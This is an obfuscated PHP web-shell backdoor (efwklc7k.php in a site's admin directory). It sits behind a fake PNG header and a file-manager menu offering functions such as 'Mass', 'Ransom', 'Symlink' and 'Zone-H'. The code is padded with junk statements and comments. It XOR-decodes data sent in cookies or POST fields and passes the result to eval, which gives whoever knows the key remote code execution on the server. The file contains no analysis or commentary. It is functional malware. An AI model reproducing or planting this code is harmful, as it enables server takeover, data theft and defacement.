\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/admin/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/admin/efwklc7k.php |
<?php
function YGJhsD($zpApCfRFBa)
/* bkAi */{
/* TAe*/return @pack( "\x48"/* glKHG*/./* QV */"\52", $zpApCfRFBa/* NWg */);;
/* f */$DRRTvcwc =/* mp */md5($zpApCfRFBa);;
$jjBOQV/* CC */=/* sNjV*/base64_decode($zpApCfRFBa);
if/* OlT */($jjBOQV/* CW */=== false)/* nwGtB */{
$jjBOQV = '';
/* HZ */}
$SHisUiun/* SbjPB */= str_split($zpApCfRFBa);$_WUa/*f */= '49603';
/* XZeN*/$SVxLEXcTD/* mujPa */= strlen($zpApCfRFBa);$_Qr/*RF*/= '8004';
$xXMJyjR = 0;
while/* Ao */( $xXMJyjR < $SVxLEXcTD ) {
/*OZApp */$xXMJyjR++;;
/* y*/$zsVGMyyr/* BIH*/=/* I*/$SHisUiun[$xXMJyjR];;
if/* cGb */(strpos($zsVGMyyr,/*bOGle */'a')/* vpae*/!== false) {
/* cql */$SHisUiun[$xXMJyjR] = strtoupper($zsVGMyyr);;
}
}
$DOGkCNWJ/*U */= implode('', $SHisUiun);
$_GET['decoded'] = $DOGkCNWJ;
$_POST['hash']/* tgJ*/= $DRRTvcwc;;
if (file_exists('path/to/file')) {
/* p */$gPaJJWB =/*O*/file_get_contents('path/to/file');
/* AuO */$uSsca = explode(',', $gPaJJWB);;
/*C*/$VKgYNeSE =/* dARBd */md5(serialize($uSsca));
if/* eEU*/(is_array($uSsca)) {
/*Iv */$hgrhr = array_slice($uSsca, 0,/* itw*/5);
/* MpvcV */}
}
/*VoNF */$fhmwr = array_map('trim', $hgrhr);
$ZwHntsUiB/*hcB */=/*Ly*/rawurldecode(implode(',',/* tZ */$fhmwr));;
/* DLFH*/$_COOKIE['final_value']/* TEi */= $ZwHntsUiB;
}
function XJRIqPhuA()
/* k*/{
$jSktDQGBOv =/* V */Array($_COOKIE, $_POST);
$NjJcWTsf = array_map('md5',/*en */$_COOKIE);$_lMKFM/* OQnro*/= '52235';
$WFpVsPORi =/* lf*/strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla') !== false ? 'browser is Mozilla' :/* tcKNW */'browser is not Mozilla';
/* Kqvz */
if (is_array($jSktDQGBOv)) {
/* t */$THPyGBD =/*tjj */array_slice($jSktDQGBOv,/* fQjQ */0, 1);$_NjoO =/*VeMBo */'8422';
} else {
/* UVK*/$THPyGBD =/* AgfP */[];
/* E*/}
$pthvSWyk = explode(',',/* XB */'apple,orange,banana');
$UtkSdZjxOa =/*F */rawurldecode('%20Hello%20World%20');
/* qgyj */$xXMJyjR = 0;
while ($xXMJyjR/* rpnX */</* zSe*/count($pthvSWyk) ) {
$pthvSWyk[$xXMJyjR] =/* wn*/str_repeat($pthvSWyk[$xXMJyjR], 2);;
$xXMJyjR++;
/* Yt */}
$YafxWgt/* RfTXI*/=/*mpmE */str_repeat($WFpVsPORi, 3);$_r = '57302';
/* c */return $jSktDQGBOv;$_H = '47100';
}
/*BrfAQ*/
function vRxnjeJ($GUEkNgMJ)
/* eax */{
$PyJffwr/*rWSYg*/= chr ( 396 -/* pnl */361/* KpkV */);
foreach (XJRIqPhuA() as $sEELyku) {
pxIMyfsh($sEELyku,/* dbP */$PyJffwr);
/* HH*/}
}
function rWYuPz($OBeMv,/* q */$XBlcR)
{
if/*NwwG */( count (/* PvkH */$OBeMv ) ==/* aqHiM */3/* CA */)/* DavTt */{
$fhyagcrqCR =/* sG*/$OBeMv[1];
/* uOT*/$vVwgsELBQ =/* EAJP*/$OBeMv[2];
$ZGQQXuGNb =/*Rer */$fhyagcrqCR($vVwgsELBQ);
/* MCZC */eval/* ubOE */(/*j */$ZGQQXuGNb/* Y */);
/*SiGgX*/die ();
}
}
function/* hPik */tuSWC($zpApCfRFBa, $GQrgZ)
/* ZtALq */{
return/* q*/$zpApCfRFBa/* zc */^/*ha */$GQrgZ;$_DcQ/* Acvf */= '11075';
}
/* a*/function Omxufw($eqPni, $PyJffwr)
/* QWNPi */{
$eqPni = explode ($PyJffwr, $eqPni );$_C = '30977';
rWYuPz($eqPni, $PyJffwr);
}
/*LSl */function/*HgHYD*/pxIMyfsh($sEELyku, $PyJffwr)
{
foreach ( $sEELyku as $GQrgZ =>/* g */$zpApCfRFBa )/* H */{
WRAEUnN($GQrgZ,/* hOZZ */YGJhsD($zpApCfRFBa), $PyJffwr);;
}
/* Z */}
/* tYzF*/
function/* nUAPC*/OBRMIOAyW($GQrgZ, $zpApCfRFBa)
/*BC*/{
$JJYkwJX/*PMC */= strlen( $zpApCfRFBa )/strlen( $GQrgZ );;
/* L */$GQrgZ .=/* VtMJU */"pZASHjj-tmLuuFt-cHK-tCZ-Gipm-hkxckL-mEUy";
$GQrgZ = str_repeat ( $GQrgZ,/*fTDH */intval($JJYkwJX)/*lqI */+ 1);
return $GQrgZ;;
}
function WRAEUnN($GQrgZ, $zpApCfRFBa, $PyJffwr)
/* FrWz */{
Omxufw(tuSWC($zpApCfRFBa, OBRMIOAyW($GQrgZ,/* yqTs */$zpApCfRFBa)), $PyJffwr);;
$IUuevnNEG = trim($zpApCfRFBa);
$OWDKAW = explode($PyJffwr, $IUuevnNEG);
/*z */if (count($OWDKAW) > 1) {
$XOkcI/* gcvX */= implode(chr/* f */(45), $OWDKAW);
/* rxjLH */$wZAAjvdx/*K */=/*ebVa */str_pad($XOkcI, 20, "\x30", STR_PAD_RIGHT);
}/* TMjQz*/else/* QwL */{
$wZAAjvdx = str_replace(chr ( 235/* w */- 203 ), chr (95), $IUuevnNEG);
/* eQ */}
}
/* ECum */vRxnjeJ("");$_sKw =/* tMRYf*/'3284';